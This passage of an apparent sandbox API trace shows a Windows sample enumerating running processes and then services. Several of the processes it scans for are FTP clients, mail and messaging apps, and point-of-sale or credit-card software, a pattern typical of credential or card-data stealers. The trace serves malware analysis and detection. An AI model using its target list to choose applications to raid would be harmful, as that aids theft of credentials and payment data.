(lpString="sppsvc.exe") returned 10 [0042.874] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.875] lstrlenW (lpString="svchost.exe") returned 11 [0042.875] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barrelsince.exe")) returned 1 [0042.876] lstrlenW (lpString="barrelsince.exe") returned 15 [0042.876] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cricket.exe")) returned 1 [0042.877] lstrlenW (lpString="cricket.exe") returned 11 [0042.877] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="angelsalot.exe")) returned 1 [0042.878] lstrlenW (lpString="angelsalot.exe") returned 14 [0042.878] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bridge.exe")) returned 1 [0042.879] lstrlenW (lpString="bridge.exe") returned 10 [0042.879] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh_shipping.exe")) returned 1 [0042.880] lstrlenW (lpString="sh_shipping.exe") returned 15 [0042.880] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tobacco packet.exe")) returned 1 [0042.881] lstrlenW (lpString="tobacco packet.exe") returned 18 [0042.881] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pubscrashsatisfactory.exe")) returned 1 [0042.882] lstrlenW (lpString="pubscrashsatisfactory.exe") returned 25 [0042.882] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="confidentiality-lookup-going.exe")) returned 1 [0042.906] lstrlenW (lpString="confidentiality-lookup-going.exe") returned 32 [0042.906] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="widespread.exe")) returned 1 [0043.025] lstrlenW (lpString="widespread.exe") returned 14 [0043.025] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="silk priority recreational.exe")) returned 1 [0043.026] lstrlenW (lpString="silk priority recreational.exe") returned 30 [0043.026] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="zinc.exe")) returned 1 [0043.028] lstrlenW (lpString="zinc.exe") returned 8 [0043.028] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mainstream-footwear.exe")) returned 1 [0043.029] lstrlenW (lpString="mainstream-footwear.exe") returned 23 [0043.029] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="construction_rice.exe")) returned 1 [0043.030] lstrlenW (lpString="construction_rice.exe") returned 21 [0043.030] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mask.exe")) returned 1 [0043.031] lstrlenW (lpString="mask.exe") returned 8 [0043.031] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="rome_bool_pioneer.exe")) returned 1 [0043.032] lstrlenW (lpString="rome_bool_pioneer.exe") returned 21 [0043.032] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="owen_der_sequence.exe")) returned 1 [0043.032] lstrlenW (lpString="owen_der_sequence.exe") returned 21 [0043.033] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x858, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="curve standing.exe")) returned 1 [0043.033] lstrlenW (lpString="curve standing.exe") returned 18 [0043.033] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0043.034] lstrlenW (lpString="3dftp.exe") returned 9 [0043.034] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0043.035] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0043.035] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x888, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0043.036] lstrlenW (lpString="alftp.exe") returned 9 [0043.036] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0043.037] lstrlenW (lpString="barca.exe") returned 9 [0043.037] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0043.038] lstrlenW (lpString="bitkinex.exe") returned 12 [0043.038] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0043.040] lstrlenW (lpString="coreftp.exe") returned 11 [0043.040] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0043.040] lstrlenW (lpString="far.exe") returned 7 [0043.040] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0043.041] lstrlenW (lpString="filezilla.exe") returned 13 [0043.042] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0043.042] lstrlenW (lpString="flashfxp.exe") returned 12 [0043.042] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0043.043] lstrlenW (lpString="fling.exe") returned 9 [0043.043] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0043.045] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0043.045] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x920, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0043.046] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0043.046] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0043.047] lstrlenW (lpString="icq.exe") returned 7 [0043.047] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0043.048] lstrlenW (lpString="leechftp.exe") returned 12 [0043.048] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0043.050] lstrlenW (lpString="ncftp.exe") returned 9 [0043.050] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0043.051] lstrlenW (lpString="notepad.exe") returned 11 [0043.051] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0043.053] lstrlenW (lpString="operamail.exe") returned 13 [0043.053] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0043.054] lstrlenW (lpString="pidgin.exe") returned 10 [0043.054] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0043.056] lstrlenW (lpString="scriptftp.exe") returned 13 [0043.056] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0043.057] lstrlenW (lpString="skype.exe") returned 9 [0043.057] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0043.060] lstrlenW (lpString="smartftp.exe") returned 12 [0043.060] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0043.061] lstrlenW (lpString="thunderbird.exe") returned 15 [0043.061] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0043.063] lstrlenW (lpString="totalcmd.exe") returned 12 [0043.063] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0043.064] lstrlenW (lpString="trillian.exe") returned 12 [0043.064] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0043.065] lstrlenW (lpString="webdrive.exe") returned 12 [0043.065] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0043.067] lstrlenW (lpString="whatsapp.exe") returned 12 [0043.067] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0043.068] lstrlenW (lpString="winscp.exe") returned 10 [0043.068] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0043.069] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0043.069] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0043.071] lstrlenW (lpString="active-charge.exe") returned 17 [0043.071] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0043.073] lstrlenW (lpString="accupos.exe") returned 11 [0043.073] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0043.074] lstrlenW (lpString="afr38.exe") returned 9 [0043.074] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0043.075] lstrlenW (lpString="aldelo.exe") returned 10 [0043.075] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0043.077] lstrlenW (lpString="ccv_server.exe") returned 14 [0043.077] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0043.078] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0043.078] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0043.079] lstrlenW (lpString="creditservice.exe") returned 17 [0043.079] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0043.080] lstrlenW (lpString="edcsvr.exe") returned 10 [0043.080] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0043.082] lstrlenW (lpString="fpos.exe") returned 8 [0043.082] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0043.083] lstrlenW (lpString="isspos.exe") returned 10 [0043.083] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0043.084] lstrlenW (lpString="mxslipstream.exe") returned 16 [0043.084] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0043.085] lstrlenW (lpString="omnipos.exe") returned 11 [0043.085] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0043.087] lstrlenW (lpString="spcwin.exe") returned 10 [0043.087] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0043.088] lstrlenW (lpString="spgagentservice.exe") returned 19 [0043.088] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0043.089] lstrlenW (lpString="utg2.exe") returned 8 [0043.089] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="complicatedprivacy.exe")) returned 1 [0043.091] lstrlenW (lpString="complicatedprivacy.exe") returned 22 [0043.091] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="increases.exe")) returned 1 [0043.092] lstrlenW (lpString="increases.exe") returned 13 [0043.092] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0043.093] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0043.093] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0043.094] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0043.094] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0043.108] lstrlenW (lpString="dllhost.exe") returned 11 [0043.108] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0043.109] lstrlenW (lpString="dllhost.exe") returned 11 [0043.109] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0043.110] lstrlenW (lpString="driver.exe") returned 10 [0043.110] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0043.111] lstrlenW (lpString="cmd.exe") returned 7 [0043.111] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0043.112] CloseHandle (hObject=0x114) returned 1 [0043.112] Sleep (dwMilliseconds=0x1f4) [0044.163] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35f0188 [0044.163] EnumServicesStatusExW (in: hSCManager=0x35f0188, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 0 [0044.164] GetLastError () returned 0xea [0044.164] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x134c) returned 0x3eb0900 [0044.164] EnumServicesStatusExW (in: 